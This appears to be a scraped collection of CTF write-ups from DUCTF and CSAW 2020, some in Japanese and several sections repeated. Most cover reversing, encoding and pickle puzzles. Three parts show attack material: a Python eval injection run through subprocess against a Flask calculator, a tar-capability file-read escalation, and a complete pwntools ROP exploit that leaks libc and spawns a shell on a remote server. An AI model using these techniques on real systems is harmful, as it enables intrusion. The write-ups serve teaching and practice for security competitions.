mov word [rax], dx| | :| ; CODE XREF from main @ 0x120b| `----> 0x0000121e 488345f801 add qword [var_8h], 1| :| ; CODE XREF from main @ 0x11b3| :`-> 0x00001223 488b45f0 mov rax, qword [length]| : 0x00001227 48d1e8 shr rax, 1| : 0x0000122a 483945f8 cmp qword [var_8h], rax| `==< 0x0000122e 7285 jb 0x11b5| 0x00001230 488b45f0 mov rax, qword [length]| 0x00001234 41b900000000 mov r9d, 0 ; size_t offset| 0x0000123a 41b8ffffffff mov r8d, 0xffffffff ; -1 ; int fd| 0x00001240 b922000000 mov ecx, 0x22 ; '"' ; int flags| 0x00001245 ba07000000 mov edx, 7 ; int prot| 0x0000124a 4889c6 mov rsi, rax ; size_t length| 0x0000124d bf00000000 mov edi, 0 ; void*addr| 0x00001252 e8d9fdffff call sym.imp.mmap ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)| 0x00001257 488945e8 mov qword [s1], rax| 0x0000125b 48837de8ff cmp qword [s1], 0xffffffffffffffff| ,=< 0x00001260 7516 jne 0x1278| | 0x00001262 488d3dae0d00. lea rdi, str.mmap ; 0x2017 ; "mmap" ; const char *s| | 0x00001269 e8f2fdffff call sym.imp.perror ; void perror(const char *s)| | 0x0000126e bf01000000 mov edi, 1 ; int status| | 0x00001273 e8f8fdffff call sym.imp.exit ; void exit(int status)| | ; CODE XREF from main @ 0x1260| `-> 0x00001278 488b55f0 mov rdx, qword [length] ; size_t n| 0x0000127c 488b45e8 mov rax, qword [s1]| 0x00001280 488d35d92d00. lea rsi, obj.code ; 0x4060 ; const void *s2| 0x00001287 4889c7 mov rdi, rax ; void *s1| 0x0000128a e8c1fdffff call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n)| 0x0000128f 488b45e8 mov rax, qword [s1]| 0x00001293 488945e0 mov qword [var_20h], rax| 0x00001297 488b55e0 mov rdx, qword [var_20h]| 0x0000129b b800000000 mov eax, 0| 0x000012a0 ffd2 call rdx| 0x000012a2 b800000000 mov eax, 0| 0x000012a7 c9 leave\ 0x000012a8 c3 ret```
A particular section called code is being loaded onto the registers and then XORed with `0xbeef`.
After that if the result is lesser than `0x2a` then `0x2b` is subtracted else `0x2a` is subtracted.
## Checking out the code section
Using Ghidra I took a look into the `code` section of the binary, which is being loaded.
It shows that there is a bunch of values there. It looks like some shellcodes.
## Rabbit hole
I thought that I could extract the shellcode from there and execute them through a C program binary and it would give me the flag. But it wasn't so, it contained all kinds of bad instructions which eventually led to segfaults. There I also tried with the XOR operations, but to no avail.
## Correct solution
If you look at the disassembly of the main function, you will find that there is a `call rdx` instruction, which means that a certain piece of code is being loaded onto `rdx` and then executed. So, I put a breakpoint there and ran the program
```gef➤ break *main+299gef➤ r```
Now, move one step into the function call.
```gef➤ si```This will take you to another code section. Now, display 100 instruction ahead :
```gef➤ x/100i $rip```
```ef➤ x/100i $rip=> 0x7ffff7fc9000: sub rsp,0x64 0x7ffff7fc9004: mov rcx,rsp 0x7ffff7fc9007: movabs r8,0x64617b4654435544 0x7ffff7fc9011: movabs r9,0x6e456465636e3476 0x7ffff7fc901b: movabs r10,0x5364337470797263 0x7ffff7fc9025: movabs r11,0x65646f436c6c6568 0x7ffff7fc902f: movabs r12,0x662075206e61437d 0x7ffff7fc9039: movabs r13,0x2065687420646e69 0x7ffff7fc9043: movabs r14,0x2020203f67616c66 0x7ffff7fc904d: mov r15d,0xa 0x7ffff7fc9053: push r15 0x7ffff7fc9055: push r14 0x7ffff7fc9057: push r13 0x7ffff7fc9059: push r12 0x7ffff7fc905b: push r11 0x7ffff7fc905d: push r10 0x7ffff7fc905f: push r9 0x7ffff7fc9061: push r8 0x7ffff7fc9063: mov eax,0x1 0x7ffff7fc9068: mov edi,0x1 0x7ffff7fc906d: lea rsi,[rcx-0x1f] 0x7ffff7fc9071: mov edx,0x3a 0x7ffff7fc9076: syscall 0x7ffff7fc9078: xor rbx,rbx 0x7ffff7fc907b: mov eax,0x3c 0x7ffff7fc9080: syscall ```
Here, you will find a similar code structure which loads a bunch of strings onto registers and executes a syscall.
Put a breakpoint at `0x7ffff7fc906d lea rsi, [rcx-0x1f]`, and continue the program. You will get the flag on the stack.
|
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# CapiCapi (Bash)
We ssh into a linux environment and we can see that there is `flag.txt` in the home directory. However we do not have permissions to read it.
As the name of the challenge implies, this is a challenge about capabilities.```user1@99ac81b17a21:/$ getcap -r /usr/bin/usr/bin/tar = cap_dac_read_search+ep```We see that `tar` has `cap_dac_read_search+ep` capability, which means that it can bypass read permission restrictions. So if we try to compress then decompress the file using `tar` maybe we can read it then.```user1@99ac81b17a21:/home/user1$ lsflag.txtuser1@99ac81b17a21:/home/user1$ tar cvf flag.tar flag.txtflag.txtuser1@99ac81b17a21:/home/user1$ mkdir foouser1@99ac81b17a21:/home/user1$ cd foouser1@99ac81b17a21:/home/user1/foo$ tar xvf ../flag.tarflag.txt```At this point, it still seems like we don't have permissions to read it.```user1@99ac81b17a21:/home/user1/foo$ ls -ltotal 4-rwxr----- 1 user1 user1 55 Aug 29 16:09 flag.txt```However if we try to read it then it magically works.```user1@99ac81b17a21:/home/user1/foo$ cat flag.txtFwordCTF{C4pAbiLities_4r3_t00_S3Cur3_NaruT0_0nc3_S4id}``` |
# Challenge Name : Formatting
# Description :
Its really easy, I promise
## Analysing the binary
The decompilation from cutter is as follows
```undefined8 main(void){ int32_t iVar1; char *s; undefined var_79h; int64_t var_78h; int64_t var_20h; undefined4 var_18h; int64_t var_14h; int64_t var_8h; var_14h._0_4_ = 0x66; var_18h = 0x6c; var_78h._0_1_ = 0; s._0_1_ = 0x44; s._1_1_ = 0x55; s._2_1_ = 0x43; s._3_1_ = 0x54; s._4_1_ = 0x46; s._5_1_ = (undefined)_brac0; var_79h = (undefined)_brac1; iVar1 = sprintf((int64_t)&s + 6, _fmt, "d1d_You_Just_ltrace_", _this, _crap, _is, _too, _easy, _what, _the, _heck); var_20h = (int64_t)iVar1; *(char *)((int64_t)&s + var_20h + 6) = (char)_brac1; puts(_flag + 6); return 0;}```
The decompilation pretty much shows what the flag will actually look like and what can be the result.
However, on executing the binary, the result is :
```./formatting haha its not that easy}```
## Dynamic analysis of the binary
On loading the binary in gdb place a breakpoint at the puts@plt call. As soon as it hits the breakpoint there, you will get the flag in the stack.
```gef➤ break *0x0000555555555236```
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# Addition:misc:200ptsJoe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the "filters" he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag. [https://chal.duc.tf:30302/](https://chal.duc.tf:30302/)
# SolutionURLにアクセスすると以下のようなサイトだった。 Joe's Supreme calculator [site1.png](site/site1.png) 不適切な入力をしてみてもエラー内容は表示されないようだ。 printも表示されない。 pythonらしいので、以下を実行してみる。 ```python__import__("subprocess").check_output(["ls","-al","."])```[site2.png](site/site2.png) 整形すると以下になる。 ```texttotal 32drwxr-xr-x 1 root root 4096 Sep 19 10:07 .drwxr-xr-x 1 root root 4096 Sep 19 10:07 ..drwxr-xr-x 2 root root 4096 Sep 19 10:07 __pycache__-rw-r--r-- 1 root root 1371 Sep 9 07:18 main.py-rw-r--r-- 1 root root 202 Aug 16 16:49 prestart.shdrwxr-xr-x 2 root root 4096 Sep 13 05:41 templates-rw-r--r-- 1 root root 37 Aug 16 16:49 uwsgi.ini```main.pyをreadする。 ```pythonopen("main.py","rb").read()```[site3.png](site/site3.png) 整形すると以下になる。 ```python:main.pyfrom flask_wtf import FlaskFormfrom flask import Flask, render_template, requestfrom wtforms import Form, validators, StringField, SubmitField
app = Flask(__name__)app.config['SECRET_KEY'] = '7d441f27d441f27567d441f2b6176a'
blacklist = ["import", "os", "sys", ";", "print", "__import__", "SECRET", "KEY", "app", "open", "globals"]maybe_not_maybe_this = "HYPA HYPA"maybe_this_maybe_not = "DUCTF{3v4L_1s_D4ng3r0u5}"
class CalculatorInput(FlaskForm): user_input = StringField('Calculation', validators=[validators.DataRequired()]) submit = SubmitField('Calculate for me')
@app.route("/", methods=["GET", "POST"])def mainpage(): form = CalculatorInput() out = "" if request.method == 'POST': user_input = request.form['user_input'] for items in blacklist: if items in user_input: out = "Nice try....NOT. If you want to break my code you need to try harder" else: try: # Pass the users input in a eval function so that I dont have to write a lot of code and worry about doing the calculation myself out = eval(user_input) except: out = "You caused an error... because my friend told me showing errors to hackers can be problematic I am not going to tell you what you broke" return render_template("calculator.html", form=form, out=out)
if __name__ == "__main__": app.run(host="0.0.0.0", debug=True, port=6969)```blacklistとは… flagが書かれていた。
## DUCTF{3v4L_1s_D4ng3r0u5} |
##### Table of Contents- [Web](#web) - [Leggos](#leggos)- [Misc](#misc) - [Welcome!](#welcome) - [16 Home Runs](#16-home-runs) - [In a pickle](#in-a-pickle) - [Addition](#addition)- [Forensics](#forensics) - [On the spectrum](#on-the-spectrum)- [Crypto](#crypto) - [rot-i](#rot-i)- [Reversing](#reversing) - [Formatting](#formatting)
# Web## LeggosPoints: 100
#### Description>I <3 Pasta! I won't tell you what my special secret sauce is though!>>https://chal.duc.tf:30101
### SolutionWe are prompted with a page containing some text and an image. Trying to view the source HTML we notice that we can't do a Right Click.
No problem, we append in the URL `view-source:`, so it becomes `view-source:https://chal.duc.tf:30101/`. Inside the HTML we have a hint saying ``. We open the source code of an imported JS file and we get the flag.
Flag: DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843}
# Misc## WelcomePoints: 100
#### Description>Welcome to DUCTF!>>ssh [email protected] -p 30301>>Password: ductf>>Epilepsy warning
### SolutionWhen you connect to the machine a bounch of messages are displayed and you can not execute any command. I tried to `scp` the whole home directory, but the script that displayed the messages on ssh connection was throwing some error. Looking more closely, the flag is displayed among the other messages.
Flag: DUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}
## 16 Home RunsPoints: 100
#### Description>How does this string relate to baseball in anyway? What even is baseball? And how does this relate to Cyber Security? ¯(ツ)/¯>>`RFVDVEZ7MTZfaDBtM19ydW41X20zNG41X3J1bm4xbjZfcDQ1N182NF9iNDUzNX0=`
### SolutionI have no idea about baseball, but I know that the string looks like encoding and it's not base 16 (hex). Base64 deconding it gives us the flag.
Flag: DUCTF{16_h0m3_run5_m34n5_runn1n6_p457_64_b4535}
## In a picklePoints: 200
#### Description>We managed to intercept communication between und3rm4t3r and his hacker friends. However it is obfuscated using something. We just can't figure out what it is. Maybe you can help us find the flag?
### SolutionWe get a file with the next content:```text(dp0I1S'D'p1sI2S'UCTF'p2sI3S'{'p3sI4I112sI5I49sI6I99sI7I107sI8I108sI9I51sI10I95sI11I121sI12I48sI13I117sI14I82sI15I95sI16I109sI17I51sI18I53sI19I53sI20I52sI21I103sI22I51sI23S'}'p4sI24S"I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "p5s.```Looking at this and considering the challenge title is becomes clear that this is a pickled object. I used the next script to unpickle it and get the flag:```pythonimport pickle# open file for readfdata = open('data', 'rb')# deserialize dataunpickled = pickle.load(fdata, encoding="ASCII")# convert integers to characterschars = [chr(x) if str(x).isnumeric() else x for x in unpickled.values()]flag = ''.join(chars)print(flag)```
Flag: DUCTF{p1ckl3_y0uR_m3554g3}
## AdditionPoints: 425
#### Description>Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the "filters" he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.>>https://chal.duc.tf:30302/
### SolutionWe are prompted with a page that seems to do calculations of whatever input we provide.
Let's try some other inputs to check what are our limitations. Entering `'A' * 10` we get `AAAAAAAAAA` so we are not limited to only numbers. I tried some more values and in the end I decided to try to obtain the source code. First step I entered `__file__` to get the file name: `./main.py `. Next, I read the file with `open(__file__, 'r').read()` and actually the source code contained the flag.
Flag: DUCTF{3v4L_1s_D4ng3r0u5}
# Forensics## On the spectrumPoints: 100
#### Description>My friend has been sending me lots of WAV files, I think he is trying to communicate with me, what is the message he sent?>>Author: scsc>>Attached files:>> message_1.wav (sha256: 069dacbd6d6d5ed9c0228a6f94bbbec4086bcf70a4eb7a150f3be0e09862b5ed)
### SolutionWe get a `.wav` file and, as the title suggest, we might find the flag in the spectogram. For viewing it I used [Sonic Visualizer](https://sonicvisualiser.org/). I played a little with the settings to view it better.
Flag: DUCTF{m4bye_n0t_s0_h1dd3n}
# Crypto## rot-iPoints: 100
#### DescriptionROT13 is boring!
Attached files:
challenge.txt (sha256: ab443133665f34333aa712ab881b6d99b4b01bdbc8bb77d06ba032f8b1b6d62d)
### SolutionWe recieve a file with the next content: `Ypw'zj zwufpp hwu txadjkcq dtbtyu kqkwxrbvu! Mbz cjzg kv IAJBO{ndldie_al_aqk_jjrnsxee}. Xzi utj gnn olkd qgq ftk ykaqe uei mbz ocrt qi ynlu, etrm mff'n wij bf wlny mjcj :).`We know it's a form of ROT, but which one? Well, it's an incrementing one, starting from ROT-0 actually. I extracted only the encoded flag and I used the next script for deconding it:
```pythonimport string
flag_enc = "IAJBO{ndldie_al_aqk_jjrnsxee}"flag_dec = []k = 0
def make_rot_n(n, s): lc = string.ascii_lowercase uc = string.ascii_uppercase trans = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return str.translate(s, trans)
for i in reversed(range(22 - len(flag_enc), 22)): flag_dec.append(make_rot_n(i, flag_enc[k])) k += 1
print(''.join(flag_dec))```
Flag: DUCTF{crypto_is_fun_kjqlptzy}
# Reversing## FormattingPoints: 100
#### Description>Its really easy, I promise>>Files: formatting
### SolutionThe file received is a 64 bits ELF binary.
Running `strings` on it gives us some clues, but not the entire flag. I opened the bynary in [Radare2](https://github.com/radareorg/radare2) to better analyze it. I guess you can get the flag in simpler ways, but I'm trying to get better with this tool.
I opened it with `r2 -d formatting`, analyzed it with `aaa` and looked over the assembly.
I saw multiple times characters are inserted in `var_90h` so I assumed that's the flag. I set a breakpoint on `lea rax, [var_90h]` and one one `mov byte [rbp + rax - 0x90], dl`. After the first breakpoint the `var_90h` contained only `DUCTF{`.
However, after the second breakpoint we get the flag.
Flag: DUCTF{d1d_You_Just_ltrace_296faa2990acbc36} |
# Welcome!:misc:100ptsWelcome to DUCTF! ssh [email protected] -p 30301 Password: ductf **Epilepsy warning**
# Solutionsshするとターミナル画面いっぱいにカラフルな文字が表示される。  出力をファイルにとってgrepしてみる。 ```bash$ ssh [email protected] -p 30301 > log.txt[email protected]'s password:Connection to chal.duc.tf closed.$ strings log.txt | grep DUCTF{[38;14HDUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}[46;47HDUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}[14;134HDUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}[2;101HDUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}[34;95HDUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}[26;104HDUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}[49;79HDUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}```flagが隠れていた。
## DUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!} |
##### Table of Contents- [Web](#web) - [Leggos](#leggos)- [Misc](#misc) - [Welcome!](#welcome) - [16 Home Runs](#16-home-runs) - [In a pickle](#in-a-pickle) - [Addition](#addition)- [Forensics](#forensics) - [On the spectrum](#on-the-spectrum)- [Crypto](#crypto) - [rot-i](#rot-i)- [Reversing](#reversing) - [Formatting](#formatting)
# Web## LeggosPoints: 100
#### Description>I <3 Pasta! I won't tell you what my special secret sauce is though!>>https://chal.duc.tf:30101
### SolutionWe are prompted with a page containing some text and an image. Trying to view the source HTML we notice that we can't do a Right Click.
No problem, we append in the URL `view-source:`, so it becomes `view-source:https://chal.duc.tf:30101/`. Inside the HTML we have a hint saying ``. We open the source code of an imported JS file and we get the flag.
Flag: DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843}
# Misc## WelcomePoints: 100
#### Description>Welcome to DUCTF!>>ssh [email protected] -p 30301>>Password: ductf>>Epilepsy warning
### SolutionWhen you connect to the machine a bounch of messages are displayed and you can not execute any command. I tried to `scp` the whole home directory, but the script that displayed the messages on ssh connection was throwing some error. Looking more closely, the flag is displayed among the other messages.
Flag: DUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}
## 16 Home RunsPoints: 100
#### Description>How does this string relate to baseball in anyway? What even is baseball? And how does this relate to Cyber Security? ¯(ツ)/¯>>`RFVDVEZ7MTZfaDBtM19ydW41X20zNG41X3J1bm4xbjZfcDQ1N182NF9iNDUzNX0=`
### SolutionI have no idea about baseball, but I know that the string looks like encoding and it's not base 16 (hex). Base64 deconding it gives us the flag.
Flag: DUCTF{16_h0m3_run5_m34n5_runn1n6_p457_64_b4535}
## In a picklePoints: 200
#### Description>We managed to intercept communication between und3rm4t3r and his hacker friends. However it is obfuscated using something. We just can't figure out what it is. Maybe you can help us find the flag?
### SolutionWe get a file with the next content:```text(dp0I1S'D'p1sI2S'UCTF'p2sI3S'{'p3sI4I112sI5I49sI6I99sI7I107sI8I108sI9I51sI10I95sI11I121sI12I48sI13I117sI14I82sI15I95sI16I109sI17I51sI18I53sI19I53sI20I52sI21I103sI22I51sI23S'}'p4sI24S"I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "p5s.```Looking at this and considering the challenge title is becomes clear that this is a pickled object. I used the next script to unpickle it and get the flag:```pythonimport pickle# open file for readfdata = open('data', 'rb')# deserialize dataunpickled = pickle.load(fdata, encoding="ASCII")# convert integers to characterschars = [chr(x) if str(x).isnumeric() else x for x in unpickled.values()]flag = ''.join(chars)print(flag)```
Flag: DUCTF{p1ckl3_y0uR_m3554g3}
## AdditionPoints: 425
#### Description>Joe is aiming to become the next supreme coder by trying to make his code smaller and smaller. His most recent project is a simple calculator which he reckons is super secure because of the "filters" he has in place. However, he thinks that he knows more than everyone around him. Put Joe in his place and grab the flag.>>https://chal.duc.tf:30302/
### SolutionWe are prompted with a page that seems to do calculations of whatever input we provide.
Let's try some other inputs to check what are our limitations. Entering `'A' * 10` we get `AAAAAAAAAA` so we are not limited to only numbers. I tried some more values and in the end I decided to try to obtain the source code. First step I entered `__file__` to get the file name: `./main.py `. Next, I read the file with `open(__file__, 'r').read()` and actually the source code contained the flag.
Flag: DUCTF{3v4L_1s_D4ng3r0u5}
# Forensics## On the spectrumPoints: 100
#### Description>My friend has been sending me lots of WAV files, I think he is trying to communicate with me, what is the message he sent?>>Author: scsc>>Attached files:>> message_1.wav (sha256: 069dacbd6d6d5ed9c0228a6f94bbbec4086bcf70a4eb7a150f3be0e09862b5ed)
### SolutionWe get a `.wav` file and, as the title suggest, we might find the flag in the spectogram. For viewing it I used [Sonic Visualizer](https://sonicvisualiser.org/). I played a little with the settings to view it better.
Flag: DUCTF{m4bye_n0t_s0_h1dd3n}
# Crypto## rot-iPoints: 100
#### DescriptionROT13 is boring!
Attached files:
challenge.txt (sha256: ab443133665f34333aa712ab881b6d99b4b01bdbc8bb77d06ba032f8b1b6d62d)
### SolutionWe recieve a file with the next content: `Ypw'zj zwufpp hwu txadjkcq dtbtyu kqkwxrbvu! Mbz cjzg kv IAJBO{ndldie_al_aqk_jjrnsxee}. Xzi utj gnn olkd qgq ftk ykaqe uei mbz ocrt qi ynlu, etrm mff'n wij bf wlny mjcj :).`We know it's a form of ROT, but which one? Well, it's an incrementing one, starting from ROT-0 actually. I extracted only the encoded flag and I used the next script for deconding it:
```pythonimport string
flag_enc = "IAJBO{ndldie_al_aqk_jjrnsxee}"flag_dec = []k = 0
def make_rot_n(n, s): lc = string.ascii_lowercase uc = string.ascii_uppercase trans = str.maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n]) return str.translate(s, trans)
for i in reversed(range(22 - len(flag_enc), 22)): flag_dec.append(make_rot_n(i, flag_enc[k])) k += 1
print(''.join(flag_dec))```
Flag: DUCTF{crypto_is_fun_kjqlptzy}
# Reversing## FormattingPoints: 100
#### Description>Its really easy, I promise>>Files: formatting
### SolutionThe file received is a 64 bits ELF binary.
Running `strings` on it gives us some clues, but not the entire flag. I opened the bynary in [Radare2](https://github.com/radareorg/radare2) to better analyze it. I guess you can get the flag in simpler ways, but I'm trying to get better with this tool.
I opened it with `r2 -d formatting`, analyzed it with `aaa` and looked over the assembly.
I saw multiple times characters are inserted in `var_90h` so I assumed that's the flag. I set a breakpoint on `lea rax, [var_90h]` and one one `mov byte [rbp + rax - 0x90], dl`. After the first breakpoint the `var_90h` contained only `DUCTF{`.
However, after the second breakpoint we get the flag.
Flag: DUCTF{d1d_You_Just_ltrace_296faa2990acbc36} |
# roppity (Pwn, 50 points)
> Welcome to pwn!> nc pwn.chal.csaw.io 5016
This challenge provides you with the binary `rop` and `libc-2.27.so` that theserver is running. From the name and description, it's obviouslya Return-Oriented Programming (ROP) challenge. I'm still pretty new to these sothis was a really fun one for me as I learned some new things along the way.
First we check out the binary to see what we're working with:
```sh$ file roprop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d177aa372f308c07c8daaddec53df7c5aafd630, not stripped$ checksec --file=ropRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 65) Symbols No 0 1 rop$ checksec --file=libc-2.27.soRELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO Canary found NX enabled DSO No RPATH No RUNPATH No Symbols Yes 79 170 libc-2.27.so```
So we're dealing with a 64-bit binary that which includes the symbols, butdoesn't have many protections on. Just NX (non-executable stack) so we won't beable to inject shellcode and return to it, hence the need for ROP. Libc hasprotections, but this is pretty standard and we'll see how to work around it.
Decompiling the binary in Ghidra we see that it's a super simply binary thatjust prints hello, reads our input into a local 32-byte buffer and returns.`gets` will read an arbitrary amount of bytes until a newline or EOF is seen, sothis is where our overflow happens.
```cundefined8 main(EVP_PKEY_CTX *param_1)
{ char local_28 [32]; init(param_1); puts("Hello"); gets(local_28); return 0;}```
Now we need to figure out how to use this overflow to get a shell, basically weare going to want to ROP-to-libc and execute `execve("/bin/sh", 0, 0)`. Becausethey provided the libc version we don't need to leak which version they areusing and can simply pull the offsets for the functions we want, but because ofASLR we first need to find out where it is.
So for our exploit we'll need to do the following:1. Leak libc's base address2. Compute a ROP chain to `execve("/bin/sh", 0, 0)`3. Submit the payload and get our shell
But the code only asks for input once, so how do we leak the address _and_ thensubmit a payload? Well, we can print the address and then just call back intomain, which will ask for more input and allow us to ROP once more.
To leak the libc base address we need to leak a function within libc, and theglobal offset table (GOT) is a great way to do that. Our initial ROP chain lookslike so. We use pwntools to create it since it can look up the gadgets andsymbols for us so we don't have to hard code them.
```pythone = ELF('./rop')r = ROP(e)r.raw(r.rdi) # pop rdi; retr.raw(e.got['puts']) # put the address of puts from libc into rdi, the argument for putsr.raw(e.plt['puts']) # call puts to print itr.raw(e.symbols['main']) # return to main after puts```
Once we have the address, we can easily compute libc base by subtracting from itthe offset from the base of libc.
```python# NOTE: the libc variable is pwntools's ELF("libc.so") which allows us to easily# find the runtime addresses once we set the base.libc_base = puts_addr-libc.symbols['puts']libc.address = libc_base```
After this we are prompted for input again and we can submit the shell paylod.
```pythonr = ROP(libc)r.raw(r.rdi) # Load address of /bin/sh into first argr.raw(next(libc.search(b"/bin/sh")))r.raw(r.rsi) # Zero out second argr.raw(0)r.raw(r.rdx) # Zero out third argr.raw(0)r.raw(libc.symbols['execve']) # Return to execve("/bin/sh", 0, 0)```
There's also a cool idea called "one-shot gadgets" which you can use to simplifythe exploit and simply return to an address instead of building up the full callyourself. [one_gadget](https://github.com/david942j/one_gadget) isa command-line tool you can install to search for these and try them out. Theyhave some constraints so they won't always work, but you can just try them andif they work, great! You're done. There was a valid one shot gadget for this tooat location `libc_base+0x4f365`. So the second payload is just `padding+ pack(libc_base+0x4f365)`.
Either one works, though the former is a little more flexible since I can run itlocally for testing and on the remote server where the one shot gadget isdependent on which libc version you have and mine is different.
Putting all this info together, we run our exploit to the following output:
```sh$ python3 exploit.py[*] '/home/kali/gh-ctf/csaw-quals-2020/roppity/rop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/home/kali/gh-ctf/csaw-quals-2020/roppity/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to pwn.chal.csaw.io on port 5016: Done[*] Loaded 14 cached gadgets for './rop'[+] leaked puts: 0x7f773987ba30[+] leaked libc base: 0x7f77397fb000[*] Loading gadgets for '/home/kali/gh-ctf/csaw-quals-2020/roppity/libc-2.27.so'[*] sending shell payload[*] Switching to interactive mode$ iduid=1000(rop) gid=1000(rop) groups=1000(rop)$ cat flag.txtflag{r0p_4ft3r_r0p_4ft3R_r0p}```
## Exploit Script
```pythonfrom pwn import *import sys
BINARY = './rop'context.binary = BINARYGDB = FalseREMOTE = Truee = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == "remote": REMOTE = True
if REMOTE: libc = ELF("./libc-2.27.so")else: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def start(): if REMOTE: return remote("pwn.chal.csaw.io", 5016) else: if GDB: return gdb.debug(BINARY, ''' break main continue ''') else: return process(BINARY)
RET_OFFSET = cyclic_find(0x6161616b)
def leak_and_set_libc_base(io): r = ROP(e) r.raw(r.rdi) # pop rdi; ret r.raw(e.got['puts']) # to rdi (1st arg) r.raw(e.plt['puts']) r.raw(e.symbols['main']) p = b'A'*RET_OFFSET + r.chain()
io.readline() # Hello io.sendline(p) puts_addr = unpack(io.readline()[:-1].ljust(8, b'\x00')) log.success("leaked puts: " + hex(puts_addr))
libc_base = puts_addr-libc.symbols['puts'] log.success("leaked libc base: " + hex(libc_base)) libc.address = libc_base # update libc base so we can calc ROP chain return libc_base
def libc_rop_to_interactive_sh(io): r = ROP(libc) r.raw(r.rdi) r.raw(next(libc.search(b"/bin/sh"))) r.raw(r.rsi) r.raw(0) r.raw(r.rdx) r.raw(0) r.raw(libc.symbols['execve']) p = b'A'*RET_OFFSET + r.chain()
# This one gadget also works remotely if we want to use that instead # one_gadget_offset = 0x4f365 # p = b'A'*RET_OFFSET + pack(libc.address + one_gadget_offset)
io.readline() # Hello log.info("sending shell payload") io.sendline(p) io.interactive()
def exploit(): try: io = start() leak_and_set_libc_base(io) libc_rop_to_interactive_sh(io) finally: io.close()
exploit()```
|
# In a pickle:misc:200ptsWe managed to intercept communication between und3rm4t3r and his hacker friends. However it is obfuscated using something. We just can't figure out what it is. Maybe you can help us find the flag? [data](data)
# Solution一見すると意味不明なファイルだが、pythonにはオブジェクトを保存できるpickleがあるらしい。 dataを読み込んでprintしてみる。 ```bash$ python>>> import pickle>>> print(pickle.load(open('data', mode='rb'))){1: 'D', 2: 'UCTF', 3: '{', 4: 112, 5: 49, 6: 99, 7: 107, 8: 108, 9: 51, 10: 95, 11: 121, 12: 48, 13: 117, 14: 82, 15: 95, 16: 109, 17: 51, 18: 53, 19: 53, 20: 52, 21: 103, 22: 51, 23: '}', 24: "I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "}```ASCIIコードになっている。 以下のrottenp.pyで読み込んで表示する。 ```python:rottenp.pyimport pickleimport string
text = pickle.load(open('data', mode='rb'))
print(text)print("-"*40)
for i in range(1,24): try: print(chr(text[i]),end="") except: print(text[i],end="")``````bash$ lsdata rottenp.py$ python rottenp.py{1: 'D', 2: 'UCTF', 3: '{', 4: 112, 5: 49, 6: 99, 7: 107, 8: 108, 9: 51, 10: 95, 11: 121, 12: 48, 13: 117, 14: 82, 15: 95, 16: 109, 17: 51, 18: 53, 19: 53, 20: 52, 21: 103, 22: 51, 23: '}', 24: "I know that the intelligence agency's are onto me so now i'm using ways to evade them: I am just glad that you know how to use pickle. Anyway the flag is "}----------------------------------------DUCTF{p1ckl3_y0uR_m3554g3}```flagが隠れていた。
## DUCTF{p1ckl3_y0uR_m3554g3} |
##### Table of Contents- [Web](#web) - [Leggos](#leggos)- [Misc](#misc) - [Welcome!](#welcome) - [16 Home Runs](#16-home-runs) - [In a pickle](#in-a-pickle) - [Addition](#addition)- [Forensics](#forensics) - [On the spectrum](#on-the-spectrum)- [Crypto](#crypto) - [rot-i](#rot-i)- [Reversing](#reversing) - [Formatting](#formatting)
# Web## LeggosPoints: 100
#### Description>I <3 Pasta! I won't tell you what my special secret sauce is though!>>https://chal.duc.tf:30101
### SolutionWe are prompted with a page containing some text and an image. Trying to view the source HTML we notice that we can't do a Right Click.
No problem, we append in the URL `view-source:`, so it becomes `view-source:https://chal.duc.tf:30101/`. Inside the HTML we have a hint saying ``. We open the source code of an imported JS file and we get the flag.
Flag: DUCTF{n0_k37chup_ju57_54uc3_r4w_54uc3_9873984579843}
# Misc## WelcomePoints: 100
#### Description>Welcome to DUCTF!>>ssh [email protected] -p 30301>>Password: ductf>>Epilepsy warning
### SolutionWhen you connect to the machine a bounch of messages are displayed and you can not execute any command. I tried to `scp` the whole home directory, but the script that displayed the messages on ssh connection was throwing some error. Looking more closely, the flag is displayed among the other messages.
Flag: DUCTF{w3lc0m3_t0_DUCTF_h4v3_fun!}
## 16 Home RunsPoints: 100
#### Description>How does this string relate to baseball in anyway? What even is baseball? And how does this relate to Cyber Security? ¯(ツ)/¯>>`RFVDVEZ7MTZfaDBtM19ydW41X20zNG41X3J1bm4xbjZfcDQ1N182NF9iNDUzNX0=`
